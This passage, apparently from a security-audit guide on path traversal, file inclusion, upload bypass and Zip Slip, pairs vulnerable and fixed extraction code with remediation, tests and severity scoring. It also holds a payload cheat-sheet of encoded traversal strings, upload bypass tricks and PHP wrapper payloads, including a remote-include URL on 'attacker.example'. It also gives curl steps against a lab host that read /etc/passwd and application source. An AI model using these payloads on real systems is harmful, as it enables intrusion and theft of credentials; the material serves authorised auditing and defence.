os.FileMode(hdr.Mode)&0740)
if err != nil {
return err
}
_, cErr := io.CopyN(f, tr, maxExtractBytes+1)
f.Close()
if cErr != nil && cErr != io.EOF {
return cErr
}
default:
return fmt.Errorf("unsupported entry type %q", hdr.Typeflag)
}
}
}
C# (System.IO.Compression):
// VULNERABLE
using var archive = ZipFile.OpenRead(uploadedPath);
foreach (var entry in archive.Entries)
{
entry.ExtractToFile(Path.Combine(destDir, entry.FullName), true); // ../ honored
}
// FIXED
var baseDir = Path.GetFullPath(destDir);
using var archive = ZipFile.OpenRead(uploadedPath);
foreach (var entry in archive.Entries)
{
var target = Path.GetFullPath(Path.Combine(baseDir, entry.FullName));
if (!target.StartsWith(baseDir + Path.DirectorySeparatorChar,
StringComparison.OrdinalIgnoreCase))
throw new IOException($"Blocked zip-slip entry: {entry.FullName}");
Directory.CreateDirectory(Path.GetDirectoryName(target)!);
if (string.IsNullOrEmpty(entry.Name))
continue; // pure directory entry
entry.ExtractToFile(target, overwrite: true);
}
Ruby (stdlib zlib/zip gems pattern):
# FIXED
def safe_entry_target(base_dir, entry_name)
target = File.expand_path(File.join(base_dir, entry_name))
raise ArgumentError, "entry escapes base: #{entry_name}" \
unless target.start_with?(File.expand_path(base_dir) + File::SEPARATOR)
target
end
Zip::File.open(uploaded_path) do |zip|
zip.each do |entry|
next if entry.directory?
target = safe_entry_target(IMPORT_DIR, entry.name)
FileUtils.mkdir_p(File.dirname(target))
entry.extract(target) { true } # overwrite allowed post-check
end
end
Payload cheat-sheet
Traversal payload ladder (apply in order until one layer's assumptions break)
| Stage | Payload (for GET ?page= or path param) |
Defeats |
|---|---|---|
| L0 baseline | ../../../../etc/passwd |
nothing — first probe |
| L1 deep nesting | ../../../../../../../../../../etc/passwd |
unknown depth of base dir |
| L2 single-encoded slash | ..%2f..%2f..%2f..%2fetc%2fpasswd |
filters matching literal / after .. |
| L3 encoded dots | %2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd |
filters matching literal .. |
| L4 mixed | %2e%2e/%2e%2e/..%2fetc%2fpasswd |
filters matching only one token shape |
| L5 double-encoded | %252e%252e%252f%252e%252e%252fetc%252fpasswd |
apps/servers that decode twice |
| L6 backslash (Windows/IIS) | ..\..\..\..\windows\win.ini and ..%5c..%5cwindows%5cwin.ini |
POSIX-only thinking on NTFS hosts |
| L7 absolute injection | /etc/passwd, C:\Windows\win.ini |
joins where rooted argument replaces base (see algebra table) |
| L8 dot-segment tricks | ....//....//etc/passwd, ..././..././etc/passwd |
naive iterative str.replace('../','') filters |
| L9 suffix-eating | ../../etc/passwd/. , ../../etc/passwd%00.png (null byte: PHP < 5.3.4, old JVMs — HISTORICAL) |
forced extensions appended by code |
| L10 UTF-8 overlong | %c0%ae%c0%ae%c0%afetc/passwd (HISTORICAL — old Tomcat/IIS) |
legacy decoders only; do not expect hits on modern stacks |
Which layer normalizes what (recap for reporting): browsers and curl (without --path-as-is) collapse ../ in the URL path before the server sees them — put traversals in QUERY VALUES or use --path-as-is. Frameworks decode %XX exactly once; %252e survives as %2e unless the app decodes again. The kernel never sees encodings — only final bytes.
Upload bypass matrix
| Validation present | Bypass vectors to test (statically confirm absence of countermeasure) |
|---|---|
Extension blacklist .php |
.php5, .php7, .phtml, .phar, .pht (legacy), .PHP/.Php (case), .php.jpg (multi-extension handler setups), .php. / .php (Windows trailing dot/space stripping — legacy) |
Extension blacklist .aspx/.jsp |
.ashx, .asmx, .ascx, .svc, .jspx, .jsw, .jsv, .war placement in deploy dirs |
| Client Content-Type allowlist only | Send Content-Type: image/gif with PHP/JSP body — declared type is attacker text |
| Magic-byte GIF check only | GIF89a header prepended to script body (polyglot; GIFAR concept for Flash-era — mark historical, polyglot-vs-sniffer still relevant) |
Filename sanitized for / only |
Backslash ..\..\shell.aspx on Windows hosts; URL-encoded %2e%2e%2f surviving one decode layer; NUL truncation %00 (historical) |
| Landing dir inside webroot | Any accepted-but-dangerous type becomes executable context; .htaccess / .user.ini / web.config upload flips handler mappings even when scripts themselves are blocked |
| Size limit only | Not a security boundary for type — pair with magic checks |
PHP stream-wrapper one-liners (for confirmed LFI sinks)
| Wrapper | Payload | Status |
|---|---|---|
| php://filter | php://filter/convert.base64-encode/resource=index.php |
STILL RELEVANT — no php.ini prerequisites; primary exfil tool through include sinks |
| php://filter (chained) | php://filter/read=convert.base64-encode/resource=/etc/passwd |
STILL RELEVANT |
| data:// | data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw== |
CONDITIONAL — requires allow_url_include=On for include(); default Off since PHP 5.2 |
| http(s):// | https://attacker.example/shell.txt |
CONDITIONAL (RFI) — allow_url_include=On for include(), allow_url_fopen=On for read funcs |
| expect:// | expect://id |
HISTORICAL/rare — requires PECL expect extension |
| zip:// | zip:///var/www/uploads/x.zip%23shell.txt |
CONDITIONAL — zip extension present; note # must be encoded in URLs |
| phar:// | phar:///var/www/uploads/x.phar/test.txt |
CONDITIONAL — primarily valuable as deserialization trigger on metadata access; relevant in gadget chains, not plain LFI |
| file:// | file:///etc/passwd |
STILL RELEVANT but redundant with plain paths |
Zip-slip entry-name examples (what the extractor must reject)
../../../../tmp/zipslip-poc.txt
..\..\zipslip-poc.bat
a/b/../../../../etc/cron.d/zipslip-poc
....//....//zipslip-poc.sh
/etc/zipslip-abs-poc (absolute entry names some extractors honor)
legit.txt (control: must succeed)
Taint Tracing Guidance
Sources (where attacker path data enters)
- HTTP: route params, query, form bodies, JSON bodies, headers (
X-Forwarded-*,X-Original-URLused by proxies feeding path logic), cookies. - Multipart metadata: client-supplied
filenameon EVERY part — independent of file content. - Second-order: filenames/keys/paths persisted in DB or queues at upload time, later reused in exports/backups/archives; admin panels storing "logo path".
- Inter-service: message-queue payloads, webhook bodies containing file references, CLI flags reaching shared libraries also called from web routes.
Sinks (per language, ranked by impact)
| Impact | Sinks |
|---|---|
| Execution | include/require (PHP), require(var)/import(var) (Node), importlib/__import__/exec(open(..)) (Python), LoadControl/dynamic view resolution (.NET), JSP forward/include with variables, template engine render of user-named templates |
| Write | fs.writeFile/createWriteStream, open(w), Files.write/newOutputStream, File.WriteAllText, fopen('w'), File.write, os.Create, move_uploaded_file, uploader store methods |
| Read/Serve | fs.readFile, open(), Files.*, File.ReadAllText, file_get_contents/readfile, File.read, os.Open/ioutil.ReadFile, res.sendFile/res.download/send_file/FileResponse/PhysicalFile/http.ServeFile/send_data/X-Accel-Redirect |
| Delete | fs.unlink/rm, os.remove/os.unlink/shutil.rmtree, Files.delete/deleteIfExists, File.Delete, unlink(), FileUtils.rm_rf, os.Remove/RemoveAll |
| Meta | chmod/chown, stat, rename, copy, archive extractors (extraction loop = write sink per entry) |
Propagators
- All join functions listed in the algebra table; string concat; f-strings/templates;
StringBuilder;sprintf('%s/%s'); ORM-stored fields carrying names; config values populated from requests. - Normalizers that LOOK like sanitizers but are not:
basename()/path.basename(kills traversal but also kills legitimate subpaths — and misses Windows\when run on POSIX:basename('..\\x')on Linux returns..\xintact),preg_replaceof../,String.Replace("../","").
Sanitizers that actually break taint
- Hard allowlist:
^[a-z0-9_-]{1,64}$on a NAME component, then join yourself. - ID→metadata lookup replacing name passthrough entirely.
- Correct containment: decode/normalize FIRST (
resolve/GetFullPath/realpath/Clean+Rel/toRealPath), then strict-prefix compare WITH separator, ideally after symlink resolution. - Constant maps for include targets (switch on enum-like keys to literals).
Procedure
- Start at each sink hit from Where To Look greps; walk backwards to the nearest join.
- Identify which join arguments are tainted and their source endpoint (annotate file:line for the report).
- Walk upstream from source to sink listing EVERY transformation: decodes, replaces, regexes, basename calls, length caps, charset checks.
- Decide: does any REAL sanitizer exist between them? If yes, attempt lexical bypass reasoning (encode twice, backslashes, dot tricks, absolute injection) against the SPECIFIC check text.
- If a containment check exists, grade it against the defect list in What To Check (separator-less startsWith, pre-decode ordering, missing symlink resolution, case sensitivity).
- Compute the predicted final path for your best payload; state which file it reads/writes/deletes and why that matters (secrets? web-executable? config?).
- Only then decide dynamic verification is warranted — and only against authorized targets.
Exploitation & Reproduction
Static confirmation is sufficient for a finding. Use live steps ONLY against authorized lab/staging targets. Never execute uploaded payloads against any system without explicit authorization; the upload procedure below stops at confirming storage, deliberately.
Repro 1: LFI read of /etc/passwd
- Identify the include/read parameter (here
pageonhttp://LAB/index.php). - Send the baseline ladder:
curl -s "http://LAB/index.php?page=../../../../etc/passwd" curl -s --path-as-is "http://LAB/index.php?page=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd" - Expected observable (vulnerable): output contains the marker line
root:x:0:0:root:/root:/bin/bash(orroot:*:0:0:variants on some Unices — match onroot:x:0:0ORroot:*:0:0). - If literal
../was filtered but output shows a PHP warning naming a wrapper-capable path, escalate to filter read of source:
Expected observable: base64 blob in-page;curl -s "http://LAB/index.php?page=php://filter/convert.base64-encode/resource=index.php"echo '<b64>==' | base64 -dyields application source — proves arbitrary read and exposes further secrets (DB creds) for the report. - Record: endpoint, parameter, winning payload stage (L0–L10), marker observed, and whether warnings leak absolute paths.
Repro 2: traversal read proving reachability of app config
- Pick a file whose CONTENT you can recognize and whose presence proves cross-boundary read without touching credentials unnecessarily — prefer a known app config over system files when demonstrating app impact:
(curl -s --path-as-is "http://LAB/download?name=../../../etc/passwd" curl -s --path-as-is "http://LAB/static/..%2f..%2f..%2f..%2fetc/passwd"--path-as-isis REQUIRED for path-segment payloads; without it curl merges..client-side.) - Expected observable (vulnerable): HTTP 200,
Content-Type: application/octet-streamor similar, body containsroot:x:0:0marker. - Prove application-data reachability with a second read of an app-owned file discovered statically (e.g.,
?name=../config/database.yml): Expected observable: YAML/JSON structure matching the repo copy — cite both repo file and response excerpt in the report. - If the endpoint serves images inline, repeat with
Content-Dispositionobservation: forced-attachment behavior ABSENT means the same primitive doubles as same-origin script delivery when pointed at attacker-influenced content (note for WEB cross-ref; do not weaponize). - Negative control: send
?name=report-q3.pdf(a file that should legitimately exist). Expected: 200 with plausible PDF bytes — confirms the endpoint semantics, not just an error-differential.
Repro 3: upload validation bypass chain (storage confirmation only)
- Baseline sanity upload (must succeed if feature works):
Expected observable: 200/201 JSON containing an id/path field. Record the returned location format.curl -s -X POST "http://LAB/upload" \ -H "Authorization: Bearer $TOKEN" \ -F "file=@/tmp/opencode/ok.png;type=image/png" - Extension/MIME mismatch probe (declared type lies, content is text):
Expected observable if validation is extension-blacklist-only: acceptance (2xx). If rejected: 400 — record which leg caught it by varying ONE factor at a time (extension, declared type, content).printf '%s\n' '<?php echo "PROBE-NOT-EXECUTED"; ?>' > /tmp/opencode/probe.php.jpg curl -s -X POST "http://LAB/upload" -H "Authorization: Bearer $TOKEN" \ -F "file=@/tmp/opencode/probe.php.jpg;type=image/jpeg" - Filename traversal probe (does the stored name derive from ours?):
Expected observable (vulnerable): response or subsequent listing reveals the stored path escaping the upload dir (e.g., file appears atcurl -s -X POST "http://LAB/upload" -H "Authorization: Bearer $TOKEN" \ -F 'file=@/tmp/opencode/ok.png;filename=../../probe-write-test.png'../../probe-write-test.pngrelative to storage root — verify via a second read endpoint or directory listing, NOT via execution). Expected (fixed): stored name is random hex; our string survives only as display metadata in DB/API. - STOP HERE. Do not upload working webshells and do not fetch uploaded scripts in a way that executes them. Confirmation of "stored filename/location" is the deliverable; executability claims come from static analysis of server config (landing dir inside webroot? script handler mapped?).
- Report: which validation legs existed (extension/MIME/magic/name/location), which failed, stored-location evidence.
Repro 4: Zip Slip demonstration (crafted archive)
Craft locally with Python stdlib, then submit to the authorized target's import endpoint:
# Craft a zip whose entry escapes the extraction root (run locally in lab only)
import zipfile
with zipfile.ZipFile("/tmp/opencode/slip.zip", "w") as z:
z.writestr("../../../../tmp/zipslip-poc.txt", "zipslip-proof-of-extraction")
- Submit:
curl -s -X POST "http://LAB/imports" -H "Authorization: Bearer $TOKEN" \ -F "archive=@/tmp/opencode/slip.zip" - Expected observable (vulnerable extractor): file
/tmp/zipslip-poc.txtexists on the target host afterward (verify via authorized shell or a read-back mechanism you control). Alternative observable: 500 error mentioning path denial. - Expected observable (fixed extractor): request rejected with 400/validation error naming the entry, AND the control archive (same craft minus
../, entrylegit.txt) extracts successfully. - Static-only alternative (preferred during audits): trace the extractor code against the safe-loop patterns above; demonstrate the missing containment by quoting the vulnerable lines. Do not need host access to justify the finding.
Remediation
Design rules (apply in this order)
- Allowlist-first: acceptable values are enumerated server-side (constant maps for includes, extension allowlists, charset-restricted name grammars
^[a-z0-9_-]{1,64}\.[a-z0-9]{2,5}$). Anything not matching is rejected, not "cleaned". - ID→metadata lookup: user-facing handles are opaque IDs; the server owns the path. Client-supplied filenames become DISPLAY labels only, stored in DB, never joined into paths.
- Canonicalize then compare, always: resolve (
realpath/resolve/GetFullPath/toRealPath/EvalSymlinks) BEFORE prefix comparison; include the trailing separator in the prefix; handle case-insensitivity for Windows targets. - Containment at the LAST moment: re-verify inside the open/extraction routine, not only at the API edge (defends TOCTOU and future callers).
- Fail closed: any containment violation raises/rejects loudly; log source IP + attempted value.
Containment snippets done right are provided per language in Patterns & Signatures (JS safeResolve, Python safe_resolve, Java safeResolve with toRealPath, C# rooted-prefix compare, PHP realpath+str_starts_with, Ruby expand_path+realpath, Go filepath.Rel+EvalSymlinks). Reuse those verbatim rather than inventing weaker variants.
Upload hardening checklist
- Server-generated random storage names (
crypto.randomBytes(16)hex,uuid4,random_bytes(16)); original filename kept as DB metadata only. - Storage OUTSIDE webroot on a non-executable mount (
noexec,nodev,nosuid), separate from code deployment. - Extension allowlist AND declared-MIME allowlist AND magic-byte verification (python-magic/libmagic, npm file-type, Apache Tika,
finfo,net/http.DetectContentTypefor common types). - Images re-encoded on ingest (Pillow
Image.open(...).save(...), sharp pipeline) — destroys embedded payloads; reject on decode failure. - Reject dangerous names outright even as labels: no leading dots, no
../, no control chars, cap length; block.htaccess,.user.ini,web.config,.config,crossdomain.xmlas stored names. - Size limits enforced pre-buffering (multipart streaming limits) plus per-user quotas.
- Stored file modes 0640/0600 owned by the service account; no exec bits ever.
- Serve user content from a separate domain or CDN (cookie isolation), with
Content-Disposition: attachmentwhere type is not strictly needed,X-Content-Type-Options: nosniff, and a restrictiveContent-Security-Policysandbox on preview pages. - Optional: AV scan gate for document pipelines; quarantine dir for failures.
Safe extraction requirements
- Per-entry containment check against the RESOLVED destination (loops above), rejecting absolute entry names and drive-letter forms.
- Refuse or neutralize symlink/hardlink entries in tar (or validate
Linknameresolves inside base). - Decompression budget (total bytes + entry count) to blunt nested-archive exhaustion — scoring details in DOS (cross-ref DOS).
- Extract into a fresh randomized staging dir per job; never extract over live application trees.
Deletion and storage-layer fixes
- Delete operations take IDs; resolve to server-owned paths; containment check identical to read paths; refuse directory recursion unless the ID maps to a dedicated subtree.
- Object storage: build keys from server-side identifiers (
tenantId/objectIdwith UUIDv4 objectIds); never accept raw key prefixes from clients; sign URLs for SINGLE keys with shortest practical TTL; keep tenant authorization at the metadata layer, not the key layer (deep dive in CONFIG).
Verification & Validation
GIVEN/WHEN/THEN tests
Test suite — traversal:
Scenario: Legitimate download still works (negative control)
Given a user U owns document DOC-1 stored as "a1b2...pdf"
When U requests GET /api/documents/DOC-1/download
Then the response status is 200
And the body equals the originally uploaded bytes
And Content-Disposition attachment carries the original display name
Scenario: Classic traversal is rejected
When anyone requests GET /api/documents?id=../../etc/passwd
Then the response status is 400 or 404
And the body does not contain "root:x:0:0"
Scenario: Encoded traversal is rejected identically
When anyone requests GET /api/documents?id=%2e%2e%2f%2e%2e%2fetc%2fpasswd
Then the response status is 400 or 404
Scenario: Absolute-path injection is rejected
When anyone requests GET /api/documents?id=/etc/passwd
Then the response status is 400 or 404
Test suite — upload:
Scenario: Normal image upload succeeds (negative control)
Given a valid PNG under the size limit
When POST /avatar with Content-Type image/png
Then the response is 201 with an id
And a file named [32-hex].png exists in the storage volume
And no file outside the storage volume changed (checksum the parent dirs)
Scenario: Script content in image clothing is rejected
When POST /avatar with a file whose body starts "<?php" and declared type image/jpeg
Then the response is 400
And no new file exists in the storage volume
Scenario: Traversal filename cannot steer storage
When POST /avatar with multipart filename "../../escape.bin"
Then the response is 201 or 400
And IF 201: the stored name matches ^[0-9a-f]{32}\.(png|jpg|gif)$ and "../../escape.bin" appears nowhere on disk
Test suite — archive extraction:
Scenario: Benign archive extracts
Given a zip containing "docs/a.txt" and "docs/b.txt"
When the import job runs
Then IMPORT_DIR/docs/a.txt and b.txt exist with original contents
Scenario: Zip-slip entry is rejected without side effects
Given slip.zip crafted with entry "../../../../tmp/zipslip-poc.txt"
When the import job runs
Then the job fails with a validation error naming the entry
And /tmp/zipslip-poc.txt does not exist
And no file exists outside IMPORT_DIR
Regression pseudocode
PAYLOADS = ladder(L0..L10) + ["..\\..\\windows\\win.ini",
"/etc/passwd", "....//....//etc/passwd"]
for p in PAYLOADS:
r = http_get(DOWNLOAD_EP, params={"name": p})
assert r.status_code in (400, 404), f"accepted {p}"
assert "root:" not in r.text and "win.ini" not in r.text.lower()
assert http_get(DOWNLOAD_EP, params={"name": KNOWN_GOOD}).status_code == 200
UPLOAD_VECTORS = [("x.php.jpg","image/jpeg","<?php echo 1;?>"),
("ok.gif","image/gif","GIF89a"+PAYLOAD_BODY),
("ok.png","image/png",PNG_WITH_TRAILING_SCRIPT)]
for name, ctype, body in UPLOAD_VECTORS:
r = http_post_multipart(UPLOAD_EP, name=name, ctype=ctype, body=body)
assert r.status_code == 400, f"vector stored: {name}"
assert storage_listing() unchanged
z = craft_zip(["../../poc.txt"])
assert import_endpoint(z).status_code == 400
assert not exists("/tmp/poc.txt")
Manual re-test checklist
- Re-run every grep in Where To Look; confirm each previously flagged sink now sits behind a containment helper or allowlist.
- For each fix, quote the new check and walk one payload through it mentally (which characters survive? what does
resolveproduce?). - Confirm negative controls pass in the test environment (legit downloads, benign upload, benign archive).
- Confirm failure modes fail CLOSED: simulate a containment exception and verify the endpoint returns 400/500 without leaking the absolute server path in the response.
- Verify logging: rejected traversal/upload attempts appear in logs with source and value.
- Check the landing/storage directory permissions and mount flags on a deployed instance match the checklist.
- Re-test with the storage-root moved one level deeper (catches hardcoded depth-count traversals and wrong-base constants).
Greps to rerun post-fix
# Containment primitives should now appear near every join
(startsWith\([^)]*sep|relative_to\(|commonpath\(|startsWith\(base|str_starts_with\(\$|filepath\.Rel\(|toRealPath\(|EvalSymlinks\(|GetFullPath\()
# These must return ZERO production-code hits (fixtures/negative tests excepted)
(include\s*\(\s*\$_|require\s*\(\s*\$_|originalname\s*\)\s*$|extractAll\(|ExtractToFile\(Path\.Combine\(destDir,\s*entry)
# Random-name generators present in every upload handler
(randomBytes\(\d+\)|uuid|random_bytes\(|RandomStringUtils|secrets\.token_hex)
Severity Assessment
CWE mapping
| CWE | Name | Role in this module |
|---|---|---|
| CWE-22 | Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') | Parent class for traversal read/write/delete/serve |
| CWE-23 | Relative Path Traversal | ../-based escapes; Zip Slip entry names |
| CWE-36 | Absolute Path Traversal | Rooted-path injection via join quirks |
| CWE-73 | External Control of File Name or Path | General taint-to-path finding when class unclear |
| CWE-98 | Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') | PHP dynamic includes incl. wrapper/RFI cases |
| CWE-434 | Unrestricted Upload of File with Dangerous Type | Upload validation-chain failures |
| CWE-409 | Improper Handling of Highly Compressed Data (Data Amplification) | Boundary note: decompression amplification is scored here only when extraction lacks budgets; quantitative DoS analysis lives in DOS |
Rubric
| Finding | Default severity | Notes |
|---|---|---|
| Traversal/include reachable to code execution (wrapper RCE, dynamic require of attacker path, executable upload in script-mapped dir) | Critical | Treat upload-to-web-executable-dir as RCE-equivalent even unproven dynamically |
| Traversal/include to arbitrary READ of secrets (private keys, creds, source) | Critical to High | Key material/creds push to Critical |
| Traversal arbitrary read without demonstrated secret reach | High | Any-path read on internet-facing host |
| Traversal limited to one directory tree containing sensitive user data (IDOR-flavored) | Medium-High | Cross-ref AUTHZ if ownership checks absent |
| Arbitrary file DELETE with reset/config-wipe chain potential | High | Anti-forensics angle noted |
| Upload requiring chaining for impact (stored-XSS-only outcome, no exec) | Medium | Cross-ref WEB for the XSS half |
| Upload rejected safely except exotic server-specific handler quirks | Low | Environment-dependent |
| Temp-file race / symlink following in shared dirs | Context-dependent Low-High | Multi-tenant shared dirs raise it; single-user local daemons lower it |
| Missing decompression budget alone | Low here | Escalate via DOS module |
CVSS v3.1 example vectors
- Unauthenticated upload landing in web-executable dir (RCE-equivalent):
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H(Critical, 10.0 base form). - Unauthenticated arbitrary file read:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N(High, 7.5). - Authenticated (low-priv) arbitrary read:
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N(Medium-High, 6.5). - Adjust AC upward when a non-default php.ini/server config is a precondition (RFI behind
allow_url_include=Offis NOT exploitable — report as hardening gap, not vuln).
Common False Positives
path.join(base, CONSTANT)or concatenation with compile-time-only strings — no taint; verify the constant truly is constant (not env/request-derived).- Framework static middlewares doing their job:
express.static,http.FileServer,serve-static, nginxroot— they neutralize..above their root BY DESIGN; flag only misconfiguration (root includes app/config dirs, follow-symlinks enabled into sensitive trees,showHiddenFiles-style options exposing dotfiles). - Router-constrained parameters:
{id:[0-9]+}-style constraints that provably precede the sink make traversal payloads impossible — downgrade to informational. basename()-normalized names where the audit target demonstrably runs on POSIX AND no\handling matters — still list as fragile pattern, not a confirmed vuln.- Multer DEFAULT storage (no
diskStorageoverride): files land in the OS temp dir with random names and no extension; originalname misuse claims must check the actual config. - CLI/internal tools where path input comes from the operator, not an external attacker — out of threat model unless the CLI is exposed (CI injection contexts belong elsewhere).
- Containment check that looks weak but operates on pre-join VALIDATED tokens (charset-restricted grammar makes traversal lexically impossible) — confirm the validator actually runs on all code paths.
- Test fixtures and negative-test files containing traversal strings — they are supposed to be there; exclude from findings.
realpathreturning false for intentionally-missing optional files handled by design (feature-flagged templates) — verify intended behavior before flagging.
References
- CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') — https://cwe.mitre.org/data/definitions/22.html
- CWE-23: Relative Path Traversal — https://cwe.mitre.org/data/definitions/23.html
- CWE-36: Absolute Path Traversal — https://cwe.mitre.org/data/definitions/36.html
- CWE-73: External Control of File Name or Path — https://cwe.mitre.org/data/definitions/73.html
- CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') — https://cwe.mitre.org/data/definitions/98.html
- CWE-434: Unrestricted Upload of File with Dangerous Type — https://cwe.mitre.org/data/definitions/434.html
- CWE-409: Improper Handling of Highly Compressed Data (Data Amplification) — https://cwe.mitre.org/data/definitions/409.html
- OWASP Cheat Sheet Series — File Upload Cheat Sheet (prevention checklist this module's hardening list aligns to): https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html
- OWASP Community — Path Traversal attack description and encoding catalog: https://owasp.org/www-community/attacks/Path_Traversal